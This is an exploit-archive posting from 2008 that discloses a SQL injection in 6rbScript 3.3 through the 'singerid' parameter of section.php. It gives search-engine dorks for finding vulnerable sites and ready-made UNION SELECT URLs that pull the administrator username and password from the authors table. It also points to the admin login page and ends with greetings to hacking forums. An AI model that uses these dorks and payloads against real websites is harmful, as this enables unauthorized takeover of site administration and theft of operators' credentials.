[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : 6rbScript 3.3 (singerid) Remote SQL Injection Vulnerability
# Published : 2008-09-21
# Author : Hussin X
# Previous Title : PHPKB 1.5 Professional Multiple Remote SQL Injection Vulnerabilities
# Next Title : Diesel Job Site (job_id) Blind SQL Injection Vulnerability
|___________________________________________________|
|
| 6rbScript V3.3 (singerid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
| Author: Hussin X
|
| Home : WwW.IQ-ty.CoM | WwW.TrYaG.CC
|
| email: darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
| |
|
| script : www.6rbscript.com
|
| DorK : inurl:"section.php?name=singers"
| dorK : Powered By 6rbScript V3.3
|___________________________________________________|
Exploit:
________
user name
_______
www.[target].com/[PATS]/section.php?name=singers&f=songs&singerid=-1+union+select+1,aid,3,4,5,6+from+7addad_authors--
password
_______
http://localhost/Script/section.php?name=singers&f=songs&singerid=-1+union+select+1,pwd,3,4,5,6+from+7addad_authors--
Admin LogIn :
www.[target].com/cpanel.php
____________________________( Greetz )_________________________________
|
| All members of the Forum WwW.IQ-ty.CoM | WwW.TrYaG.CC |
|
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
| Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone
|______________________________________________________________________
Im IRAQi
# www.Syue.com [2008-09-21]